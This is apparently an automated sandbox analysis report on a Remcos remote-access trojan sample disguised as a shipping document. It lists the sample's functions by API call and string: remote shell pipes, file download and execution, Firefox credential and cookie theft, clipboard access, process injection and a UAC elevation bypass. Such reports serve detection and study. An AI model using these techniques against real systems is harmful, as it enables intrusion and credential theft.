                                                                                        • RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AllocateHeap
                                                                                        • String ID:
                                                                                        • API String ID: 1279760036-0
                                                                                        • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                                                                                        • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                                                                                        • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                                                                                        • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF

                                                                                        Non-executed Functions

                                                                                        Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetEvent.KERNEL32(?,?), ref: 00407CB9
                                                                                        • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                                                                                        • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                                                                                          • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
                                                                                          • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
                                                                                          • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
                                                                                          • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
                                                                                          • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                          • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                                                                          • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                                                                                        • GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00408278
                                                                                        • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                                                                                        • DeleteFileA.KERNEL32(?), ref: 00408652
                                                                                          • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                                                                                          • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                                                                          • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                                                                          • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                                                                        • Sleep.KERNEL32(000007D0), ref: 004086F8
                                                                                        • StrToIntA.SHLWAPI(00000000,00000000), ref: 0040873A
                                                                                          • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CAD7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                                                                                        • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                                                                                        • API String ID: 1067849700-181434739
                                                                                        • Opcode ID: b08ec038c843015cc658e55876cd7923d244435ed02f080ae07065bd7f36788e
                                                                                        • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                                                                                        • Opcode Fuzzy Hash: b08ec038c843015cc658e55876cd7923d244435ed02f080ae07065bd7f36788e
                                                                                        • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                                                                                        Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __Init_thread_footer.LIBCMT ref: 004056E6
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        • __Init_thread_footer.LIBCMT ref: 00405723
                                                                                        • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                                                                                        • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                                                                                        • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                                                                                        • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                                                                                        • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                                                                                        • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                                                                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                        • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90,004660C0,00000062,004660A4), ref: 004059E4
                                                                                        • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                                                                                        • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                                                                                        • CloseHandle.KERNEL32 ref: 00405A23
                                                                                        • CloseHandle.KERNEL32 ref: 00405A2B
                                                                                        • CloseHandle.KERNEL32 ref: 00405A3D
                                                                                        • CloseHandle.KERNEL32 ref: 00405A45
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                                                        • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                                                                                        • API String ID: 2994406822-18413064
                                                                                        • Opcode ID: 9fdb2614b32db6a8ce990b4168d70707e98bdb19d6332ad615b030cef840106b
                                                                                        • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                                                                                        • Opcode Fuzzy Hash: 9fdb2614b32db6a8ce990b4168d70707e98bdb19d6332ad615b030cef840106b
                                                                                        • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                                                                                        Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetCurrentProcessId.KERNEL32 ref: 00412106
                                                                                          • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                                                                          • Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138A0
                                                                                          • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138AB
                                                                                        • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 00412146
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00412155
                                                                                        • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                                                                                        • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                                                                        • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                                                                        • API String ID: 3018269243-13974260
                                                                                        • Opcode ID: 7579134408927576322ff34649d0b5464798f67aa42af6ea2314acf5978c42f8
                                                                                        • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                                                                                        • Opcode Fuzzy Hash: 7579134408927576322ff34649d0b5464798f67aa42af6ea2314acf5978c42f8
                                                                                        • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                                                                                        Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040BBC9
                                                                                        • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040BD12
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Find$CloseFile$FirstNext
                                                                                        • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                        • API String ID: 1164774033-3681987949
                                                                                        • Opcode ID: cc2b906fffab3f5d65509244bf78c58c3969fa81e43ac990ef7529a7089f2592
                                                                                        • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                                                                                        • Opcode Fuzzy Hash: cc2b906fffab3f5d65509244bf78c58c3969fa81e43ac990ef7529a7089f2592
                                                                                        • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                                                                                        Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenClipboard.USER32 ref: 004168C2
                                                                                        • EmptyClipboard.USER32 ref: 004168D0
                                                                                        • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                                                                                        • GlobalLock.KERNEL32(00000000), ref: 004168F9
                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                                                                                        • SetClipboardData.USER32(0000000D,00000000), ref: 00416938
                                                                                        • CloseClipboard.USER32 ref: 00416955
                                                                                        • OpenClipboard.USER32 ref: 0041695C
                                                                                        • GetClipboardData.USER32(0000000D), ref: 0041696C
                                                                                        • GlobalLock.KERNEL32(00000000), ref: 00416975
                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                                                                        • CloseClipboard.USER32 ref: 00416984
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                                                        • String ID: !D@
                                                                                        • API String ID: 3520204547-604454484
                                                                                        • Opcode ID: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
                                                                                        • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                                                                                        • Opcode Fuzzy Hash: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
                                                                                        • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                                                                                        Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040BDC9
                                                                                        • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040BEAF
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040BED0
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Find$Close$File$FirstNext
                                                                                        • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                        • API String ID: 3527384056-432212279
                                                                                        • Opcode ID: 10bf6c217e0b25296ff8c4f6571a9877a80f89d81c2766d0b614c08461d6f91f
                                                                                        • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                                                                                        • Opcode Fuzzy Hash: 10bf6c217e0b25296ff8c4f6571a9877a80f89d81c2766d0b614c08461d6f91f
                                                                                        • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                                                                                        Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                                                                                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00475338), ref: 0040F4B9
                                                                                        • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                                                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00475338), ref: 0040F563
                                                                                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                                                                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                                                                        • CloseHandle.KERNEL32(00000000,?,00475338), ref: 0040F66E
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                                                                        • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                                                                        • API String ID: 3756808967-1743721670
                                                                                        • Opcode ID: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
                                                                                        • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                                                                                        • Opcode Fuzzy Hash: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
                                                                                        • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                                                                                        Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: 0$1$2$3$4$5$6$7$VG
                                                                                        • API String ID: 0-1861860590
                                                                                        • Opcode ID: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
                                                                                        • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                                                                                        • Opcode Fuzzy Hash: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
                                                                                        • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                                                                                        Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _wcslen.LIBCMT ref: 00407521
                                                                                        • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Object_wcslen
                                                                                        • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                                                        • API String ID: 240030777-3166923314
                                                                                        • Opcode ID: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
                                                                                        • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                                                                                        • Opcode Fuzzy Hash: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
                                                                                        • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                                                                                        Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                                                                                        • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                                                                                        • GetLastError.KERNEL32 ref: 0041A7BB
                                                                                        • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                        • String ID:
                                                                                        • API String ID: 3587775597-0
                                                                                        • Opcode ID: 23e486b81d5319d6976a5705641320cfcad202a7a3e49a3714ee4dfbb4f6799a
                                                                                        • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                                                                                        • Opcode Fuzzy Hash: 23e486b81d5319d6976a5705641320cfcad202a7a3e49a3714ee4dfbb4f6799a
                                                                                        • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                                                                                        Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                        • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                                                                                        • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                                                                                        • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                                                                                        • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                                                                                        • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                        • String ID: lJD$lJD$lJD
                                                                                        • API String ID: 745075371-479184356
                                                                                        • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                                                                        • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                                                                                        • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                                                                        • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                                                                                        Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                                                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040C47D
                                                                                        • FindClose.KERNEL32(00000000), ref: 0040C4A8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Find$CloseFile$FirstNext
                                                                                        • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                        • API String ID: 1164774033-405221262
                                                                                        • Opcode ID: b4ce1130c63f91c9a7bb924499f2ab22045580026bc8e52ab8eb9ef944069cc1
                                                                                        • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                                                                                        • Opcode Fuzzy Hash: b4ce1130c63f91c9a7bb924499f2ab22045580026bc8e52ab8eb9ef944069cc1
                                                                                        • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                                                                                        Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
                                                                                        • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
                                                                                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00474EE0,?), ref: 0041C38E
                                                                                        • DeleteFileW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C39B
                                                                                          • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,00474EE0,?), ref: 0041C3BC
                                                                                        • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
                                                                                        • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
                                                                                        • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3E2
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                        • String ID:
                                                                                        • API String ID: 2341273852-0
                                                                                        • Opcode ID: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
                                                                                        • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                                                                                        • Opcode Fuzzy Hash: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
                                                                                        • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                                                                                        Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                                                                                        • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                                                                                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$Find$CreateFirstNext
                                                                                        • String ID: 8SG$PXG$PXG$NG$PG
                                                                                        • API String ID: 341183262-3812160132
                                                                                        • Opcode ID: 51c1bc0efb57238df8f343c385f4ca69313514bd3b1d4432c3fe4bb7cf6149f9
                                                                                        • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                                                                                        • Opcode Fuzzy Hash: 51c1bc0efb57238df8f343c385f4ca69313514bd3b1d4432c3fe4bb7cf6149f9
                                                                                        • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
